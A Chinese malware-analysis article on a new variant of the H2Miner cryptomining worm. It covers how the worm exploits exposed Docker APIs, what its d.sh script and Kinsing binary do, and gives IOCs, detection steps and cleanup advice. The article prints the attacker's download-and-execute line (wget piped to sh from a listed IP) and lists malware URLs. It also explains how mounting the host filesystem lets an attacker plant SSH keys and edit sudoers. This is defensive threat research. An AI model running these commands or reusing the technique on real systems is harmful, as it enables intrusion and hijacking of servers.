H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

一、概述

近期捕获到H2Miner挖矿蠕虫变种病毒,H2Miner是一个linux下的挖矿病毒,是用Golang编码的,该变种利用Docker swarm开放一个TCP端口2375(或2376)攻击云服务器,*载下**恶意脚本和恶意程序进行挖矿,然后试图将恶意软件传播到其他云服务器。攻击者利用失陷的主机进行挖矿,会消耗CPU资源,严重影响主机的使用。从所获得的新变种与老版本比较后,之间没有太多的变化,主要是更改了文件中的后门地址以及相关的文件名,该家族的脚本名称不是固定的,是按照英文字母a-z为基础命名的,此次捕获的脚本是d.sh。攻击者从利用开放端口开始,通过规避策略和横向移动,一直到部署恶意矿工的全流程执行

下面的流程图说明了完整的攻击流程

H2Miner挖矿蠕虫新变种

二、漏洞利用

swarm是Docker官方提供的一款编排容器的工具,其主要作用是把若干台Docker主机抽象为一个整体,并且通过默认端口2375远程操控Docker管理这些Docker主机上的各种资源。如要使用swarm,则必须让Docker开放其HTTP的API。默认情况下这个API没有开启,而开启此API需要在启动时加入-H参数,执行-H tcp://0.0.0.0:2375,亦或2376

H2Miner挖矿蠕虫新变种

安装Docker需要使用root或sudo权限,也就是说,容器内部的root用户就是宿主机的root用户,一旦挂载目录,就可以在容器内部以宿主机的root用户身份对挂载的文件系统随意修改了。

Docker是以root权限运行的,无法直接控制宿主机,所以可以先将本地文件或目录挂载到容器内,在容器内这些文件和目录是可以修改的。例如把/root/挂载到容器内,再将攻击者的ssh公钥/.ssh/id_rsa.pub的内容写到入被攻击Docker宿主机的/root/.ssh/authorized_keys文件中,修改权限为600,此时就可以以root用户登录了。

本地获取ssh公钥

H2Miner挖矿蠕虫新变种

将公钥复制到被攻击的.ssh/authorized_keys文件中

挂载目录并且修改 /etc/sudoers 文件,直接配置成免密码,sudo免密切换root

如果主机不允许root用户直接登录,可以通过挂载 /etc/ssh/sshd_config 查看配置。那就换一个用户写入,并且修改 /etc/sudoers 文件,sudo vim etc/sudoers,

此时,拿下了主机的root权限,或者拥有sudo权限的用户,执行wget -q -O – http://93.189.43.3/d.sh|sh(服务已关)

三、样本分析

3.1d.sh

d.sh,一共670行代码,发现脚本执行了以下操作

1.禁用安全措施并清除日志: echo SELINUX=disabled >/etc/selinux/config

2.卸载安全应用程序,清除他挖矿程序和服务进程

3.kill其他加密矿工相关的文件,其中大部分是/tmp,/var/tmp

4.killdocker容器服务进程,并删除镜像

5.*载下**Kinsing,并运行

6.创建定时任务,每分钟运行一次,并且指向域名,*载下**脚本

停止linux安全内核模块

H2Miner挖矿蠕虫新变种

删除系统日志

H2Miner挖矿蠕虫新变种

*载下**2个卸载阿里云安全服务的脚本

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

netstat根据端口查看服务进程,端口是竞争挖矿木马惯用端口范围,检测主机上是否存在其他的挖矿病毒,有的话直接kill

H2Miner挖矿蠕虫新变种

ps 根据服务名称和进程路径查看进程,都是挖矿木马类型

H2Miner挖矿蠕虫新变种

根据挖矿ip,矿池域名查看服务进程(门罗币)

H2Miner挖矿蠕虫新变种

删除其他挖矿木马相关文件

H2Miner挖矿蠕虫新变种

停止docker容器,并删除镜像

H2Miner挖矿蠕虫新变种

download函数会检查是否存在kinsing,并校验文件的MD5,然后download2函数*载下**Kinsing文件并校验MD5值是否正确,如果MD5不正确或者文件不存在就调用 download3函数继续*载下**Kinsing

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

crontab创建定时任务,确保d.sh持久化

H2Miner挖矿蠕虫新变种

定时任务,每一分钟执行一次,访问url(195.3.146.118)*载下**d.sh

H2Miner挖矿蠕虫新变种

根据定时任务名称删除其他任务

H2Miner挖矿蠕虫新变种

3.2恶意程序Kinsing

Kinsing执行了以下操作

1.与C&C服务器通信

2.利用masscan扫描端口

3.Redis*力暴**破解

4.*载下**spre.sh脚本

5.*载下**cron.sh脚本

6.释放kdevtmpfsi 矿工

与C&C服务器185.154.53.140进行通信

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

获取任务的函数

H2Miner挖矿蠕虫新变种

获取C2地址

H2Miner挖矿蠕虫新变种

RC4解密得到C2地址

H2Miner挖矿蠕虫新变种

执行相关任务的函数

H2Miner挖矿蠕虫新变种

masscan,是一款渗透工具,masscan是一种Internet规模的端口扫描程序,可用于对Internet或内部网络。速度足以在3分钟内扫描Internet的端口。

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

获取目标

H2Miner挖矿蠕虫新变种

创建firewire.sh脚本并运行

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

针对Redis*力暴**破解

H2Miner挖矿蠕虫新变种

用AUTH命令进行口令认证:

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

spre.sh

H2Miner挖矿蠕虫新变种

检索id_rsa*,/.ssh/config,/.bash_history,HostName进行匹配,并找到相对的身份信息,利用ssh|scp横向传播*载下**并运行shell脚本

H2Miner挖矿蠕虫新变种

每20次SSH|SCP连接尝试后会休眠20秒,这种可能是为了躲避发现

H2Miner挖矿蠕虫新变种

cron.sh

H2Miner挖矿蠕虫新变种

根据进程名,ip进行kill,

H2Miner挖矿蠕虫新变种

创建定时任务,每分钟执行并且*载下**unk.sh

H2Miner挖矿蠕虫新变种

kdevtmpfsi

释放文件并执行的函数

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

修改权限并启动

H2Miner挖矿蠕虫新变种

sub_400D50方法有连接矿池域名,登录矿池,申请内存的行为

H2Miner挖矿蠕虫新变种

sub_40CD70矿池配置config.json,连接矿池域名以及钱包地址

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

挖矿程序版本号5.5.0

H2Miner挖矿蠕虫新变种

矿池账户密码

H2Miner挖矿蠕虫新变种

H2Miner挖矿蠕虫新变种

配置CPU最大线程

H2Miner挖矿蠕虫新变种

搜索挖矿关键字miner

H2Miner挖矿蠕虫新变种

这部分由以下函数进行调用,获取CPU信息,系统CPU时间

H2Miner挖矿蠕虫新变种

四、IOCs

IP

104.192.141.1

93.189.43.3

195.3.146.118

185.154.53.140

194.38.20.199

MD5

d.sh

be17040e1a4eaf7e2df8c0273ff2dfd2

spre.sh

639d87d54aa57371cc0bf82409503311

kinsing

52ca5bc47c84a748d2b349871331d36a

kdevtmpfsi

8c6681daba966addd295ad89bf5146af

URL

https://bitbucket.org/tromdiga1/git/raw/master/kinsing

http://93.189.43.3/kinsing

http://195.3.146.118/d.sh

http://93.189.43.3/d.sh

http://93.189.43.3/spr.sh

http://185.191.32.198/unk.sh

五、监测方法

1.利用威胁情报,监控主机是否连接矿池域名

2.监控异常服务进程的CPU利用率,设置告警阈值

3.监控挖矿程序惯用端口,以及挖矿程序惯用进程名,挖矿程序生成的文件

4.遍历root/.ssh/中的密钥信息是否被清空

5.是否存在异常未知的定时任务,尤其是指向未知域名

6.监控执行批量及高位命令行kill,rm,wget -q -O,chmod,curl。挖矿程序高危路径/tmp,/var/tmp

六、清理挖矿建议

利用top查看cpu使用情况

H2Miner挖矿蠕虫新变种

再根据PID进程号,查看进程的指定程序路径,或者find服务名,检索文件位置

H2Miner挖矿蠕虫新变种

ps – ef | grep kedevtmpfsi 查看挖矿进程,删除挖坑程序,守护进程会一直重启它

所以需要先删除守护进程,再kill kedevtmpfsi,此时还有最重要的一步,就是先删除定时任务,要不然,挖矿程序还会定时启动,因为d.sh脚本会再次*载下**挖矿程序,再次启动,

H2Miner挖矿蠕虫新变种

本文由 Derder 原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/259034安全客 - 有思想的安全新媒体